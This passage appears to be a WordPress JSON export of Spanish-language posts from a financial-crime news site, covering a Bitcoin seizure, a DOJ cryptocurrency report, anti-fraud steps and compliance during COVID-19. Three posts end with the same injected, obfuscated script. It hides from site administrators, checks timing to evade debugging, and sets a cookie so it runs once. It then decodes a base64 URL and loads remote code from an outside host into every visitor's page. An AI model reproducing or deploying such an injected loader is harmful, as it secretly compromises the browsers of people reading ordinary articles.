investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes 